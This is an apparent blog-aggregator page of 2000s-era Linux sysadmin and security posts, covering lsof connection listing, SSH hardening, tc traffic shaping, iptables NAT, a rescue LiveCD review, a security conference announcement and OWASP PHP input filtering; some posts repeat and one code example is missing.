To identify and monitor who is running what applications, which the application is listening to what port, established what connections, we can use lsof. lsof (List Open Files) are use for listing all current opened files. Besides the file name, it includes info such as who open it, what command use to open it, what type of file is it etc.
To list all Internet or network related opened files.
lsof -i
output:
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ktorrent 5220 mysurface 14u IPv4 13129 TCP *:6881 (LISTEN)
ktorrent 5220 mysurface 15u IPv6 13152 UDP *:6881
ktorrent 5220 mysurface 16u IPv4 41606 TCP 192.168.1.101:43234->122.49.147.27:32006 (SYN_SENT)
ktorrent 5220 mysurface 17u IPv4 41597 TCP 192.168.1.101:59485->host-63-239-252-1.tetonwireless.com:6881 (SYN_SENT)
ktorrent 5220 mysurface 18u IPv4 36757 TCP 192.168.1.101:42724->203-36-217-77.dsl.dodo.com.au:25423 (ESTABLISHED)
...
You might facing some latency while listing them, the reason is, lsof cleverly replace your IP with DNS, so it need times to resolve DNS. To ask it stop to act smart and display with only numerical IP addresses, specified -n.
lsof -i -n
You may want to list open files with root permission, which returns you more entries.
sudo lsof -i -n
lsof list both IPv6 and IPv4 related files by default. You specified -i4 if you want entries with IPv4 only, same thing to IPv6, specified -i6.
sudo lsof -i4 -n
Okay, If you just want to list files which triggers by a specific user only, you can do this:
sudo lsof -i -n -a -u toydi
-a indicate AND logic, the entire line simply means, I want to list Internet related open files and these files must be trigger by toydi.
Again, lsof capable of doing more, check out the manuals for more details.
Technorati Tags: networks, internet, network monitoring, security
I came across this interesting post about how to secure your SSH without changing the SSH listening port.
Things that the post author suggested are :
Personally I’ve enabled public-key authentication and SSH scanner filter to secure my server at the advice of my friend from a local security firm. Although, I haven’t tried the port knocking method yet, it seems interesting to know that ’secret port knocking’ pattern also exists in computer security (remember ali baba?)
Hopefully this post will serve as a reminder to myself and those who read them, ah oh, most of this post content are lifted shamelessly from False sense of security
Tags: ssh, iptables, ubuntu, debian, security, port knocking, nmap, security scanners, exploit
http://blog.drinsama.de/erich/en/linux/2007021502-false-sense-of-security
Thanks To Our Sponsor: Get Linux CD/DVD in Malaysia Fast & affordable, delivered right to your doorsteps
I came across this interesting post about how to secure your SSH without changing the SSH listening port.
Things that the post author suggested are :
Personally I’ve enabled public-key authentication and SSH scanner filter to secure my server at the advice of my friend from a local security firm. Although, I haven’t tried the port knocking method yet, it seems interesting to know that ’secret port knocking’ pattern also exists in computer security (remember ali baba?)
Hopefully this post will serve as a reminder to myself and those who read them, ah oh, most of this post content are lifted shamelessly from False sense of security
Tags: ssh, iptables, ubuntu, debian, security, port knocking, nmap, security scanners, exploit
http://blog.drinsama.de/erich/en/linux/2007021502-false-sense-of-security
Thanks To Our Sponsor: Create Stunning E-book Covers How-to design E-book overs with Photoshop

| Quote: |
| #!/bin/bash
IFACE="eth1" CRATE="40Kbit" if [ "$1" = "status" ] then tc -s qdisc ls dev $IFACE tc -s class ls dev $IFACE exit fi echo "Cleaning qdiscs if exists any" # clean existing down- and uplink qdiscs, hide errors tc qdisc del dev $IFACE root 2> /dev/null > /dev/null if [ "$1" = "stop" ] then exit fi echo "Now Setting $CRATE per user at Interface $IFACE" ipdstprefix="192.168.0." classid="2" classidnos="254" classidnos2=$classidnos ipdst="2" tc qdisc add dev $IFACE root handle 10: cbq bandwidth 10Mbit avpkt 1000 tc class add dev $IFACE parent 10:0 classid 10:1 cbq bandwidth 10Mbit rate 10Mbit allot 1514 weight 1Mbit prio 8 maxburst 20 avpkt 1000 while [ $classid -lt $classidnos ] do tc class add dev $IFACE parent 10:1 classid 10:$classid cbq bandwidth 10Mbit rate $CRATE allot 1514 weight 1Kbit prio 5 maxburst 20 avpkt 1000 bounded classid=$[$classid+1] done while [ $ipdst -lt $classidnos2 ] do tc filter add dev $IFACE parent 10:0 protocol ip prio 100 u32 match ip dst $ipdstprefix$ipdst flowid 10:$ipdst ipdst=$[$ipdst+1] done |

I’ve tried a compact and useful Linux Rescue LiveCD based on Knoppix. INSERT combine the functionality of network analysis and rescue application in a single LiveCD.
As a rescue LiveCD, INSERT support various filesystem including ext2,ext3,reiserfs,reiser4, jfs, xfs,vfat,ntfs (read write via ntfs-3g), minix,udf,hfs,hpfs,ufs,smbfs,nfs,sshfs and afs. INSERT also supports testdisk and photorec file recovery tool which I’ve reviewed previously.
As for network analysis and security part, INSERT include tcpdump, nmap, ethtool, ettercap, sendip, netcat,wipe, chkrootkit and rkhunter. Refer to INSERT LiveCD website for a complete list of applications
INSERT is compact (59MB) , and it fit straight into business card CD making it portable enough to put in your wallet. Although it lacks end user desktop application, I find INSERT is more useful than Damn Small Linux mainly because it supports more option for connecting to the internet.
Furthermore, I felt having DSL in my wallet isn’t as useful as having INSERT which have an array of recovery tools ready to use when my something happen to my GNU/Linux installations. And for that reason, I’ve ditched DSL from my wallet and replace it with INSERT :p
Download INSERT from : [insert.cd]
Tags: security, livecd, rescuecd, knoppix, security, linux, damnsmalllinux
| Quote: |
|
# /sbin/iptables -t nat -F # /sbin/iptables -t nat -A POSTROUTING -o eth1 -s 10.0.0.1/255.0.0.0 -j MASQUERADE # /sbin/iptables -t nat -A POSTROUTING -o eth1 -s 10.0.0.1/255.0.0.0 -p TCP --dport 5000:5010 -j MASQUERADE # /sbin/iptables -t nat -A POSTROUTING -o eth1 -s 10.0.0.1/255.0.0.0 -p UDP --dport 5000:5010 -j MASQUERADE # /sbin/iptables -t nat -A POSTROUTING -o eth1 -s 10.0.0.1/255.0.0.0 -p TCP --dport 1863 -j MASQUERADE # /sbin/iptables -t nat -A POSTROUTING -o eth1 -s 10.0.0.1/255.0.0.0 -p UDP --dport 1863 -j MASQUERADE |
| Quote: |
|
eth0 connected to ADSL modem eth1 connected to local network IP address of eth0 192.168.1.5 IP address of eht1 10.0.0.1 IP address of ADSL Modem is 192.168.1.1 |
| Code: |
|
Requirements: 1. Proxyusers (acl proxyusers) should not be able to download any of the files in acl filenames 2. Want to allow downloaders to download the files in acl filenames but not in this time (evening 5pm till morning 5am) 3. I want to restrict all user (both proxyusers and downloads) to get an average speed of 4k and should not exceed from that at any time any day Can someone please help me in this regard? Regards, Muhammad Asif Iqbal |
HIBSecConf2006 is just around the corner guys !, It’s gonna be fun since the arrangements are all in motion, this year there are 35 speakers from all over the world coming down to talk about stuff, Check out the Agenda and then there is 7 technical training tracks which are all pretty cool as well for the list of trainings available you can Click Here, and the Capture the flag game is gonna be fun cos there are a mixed group of hackers in the game there are malaysian teams, singaporean teams as well as an italian team so its gonna be intense !. So if you guys haven’t registered for the conference just go to [conference.hitb.org]. Students should come ! since its really affordable at RM250 per conf seat for students only and RM 499 for anyone else !, it’s probably the cheapest ever ! and well this is the largest network security event in asia !! So quick quick register today !
Technorati Tags: Malaysia, Hackinthebox, Security, Conference, HITBSecConf, Kuala Lumpur
We interrupt this scheduled viewing, for our faithful Windows users…
We have a new release of the MySQL Connector/PHP. MySQL has released 5.0.24 for a bit, and PHP themselves have released 5.1.5. The PHP release actually fixes some security related issues. Be sure to check the forums out if you encounter issues and if you fancy, the usual announce message.
Now back to your regular scheduled programming…
Technorati Tags: connector, ext/mysql, ext/mysqli, mysql, php, security
Internet is full of spam bots, autosubmitters, malicious users and worms that can compromise the security of your website at any given time, therefore you should be suspicious of any data you receive via GET/POST variable in your system.
Among the nasty things that could happen to your system when you don’t filter your data is, SQL injection, Script Injection, Email abusing and Remote Execution the attacker could deface your website or even wipe your entire database if you’re not careful with it.
One of the way to filter your data is to use preg_match to write regex rule for the variable that would be accepted.
However I find writing preg_match sometimes can be tiring, and that’s why I use owasp php filters to simplify the work for me. It consists of one function sanitize(), that take the variable that you want to filter and an option.
The option may be any of this value PARANOID,HTML,INT,FLOAT,LDAP,SQL,SYSTEM and UTF-8 that filters the type of data accordingly. For example if you want your variable to contain only floating-point number, then you can code it like this :
I isn’t much, but surely it will simplify your php coding a bit more, the other option is self-explanatory save PARANOID, which means that the variable will contain only alphanumeric character after sanitize.
SQL is handy if you want to include the variable value inside an SQL statement, this will avoid the risk of the notorious SQL injection which will affect the security of your data.
you can download OWASP PHP filter here
Technorati Tags: php, security, filters, mysql, sql, sql injection, injection
Internet is full of spam bots, autosubmitters, malicious users and worms that can compromise the security of your website at any given time, therefore you should be suspicious of any data you receive via GET/POST variable in your system.
Among the nasty things that could happen to your system when you don’t filter your data is, SQL injection, Script Injection, Email abusing and Remote Execution the attacker could deface your website or even wipe your entire database if you’re not careful with it.
One of the way to filter your data is to use preg_match to write regex rule for the variable that would be accepted.
However I find writing preg_match sometimes can be tiring, and that’s why I use owasp php filters to simplify the work for me. It consists of one function sanitize(), that take the variable that you want to filter and an option.
The option may be any of this value PARANOID,HTML,INT,FLOAT,LDAP,SQL,SYSTEM and UTF-8 that filters the type of data accordingly. For example if you want your variable to contain only floating-point number, then you can code it like this :
I isn’t much, but surely it will simplify your php coding a bit more, the other option is self-explanatory save PARANOID, which means that the variable will contain only alphanumeric character after sanitize.
SQL is handy if you want to include the variable value inside an SQL statement, this will avoid the risk of the notorious SQL injection which will affect the security of your data.
you can download OWASP PHP filter here
Technorati Tags: php, security, filters, mysql, sql, sql injection, injection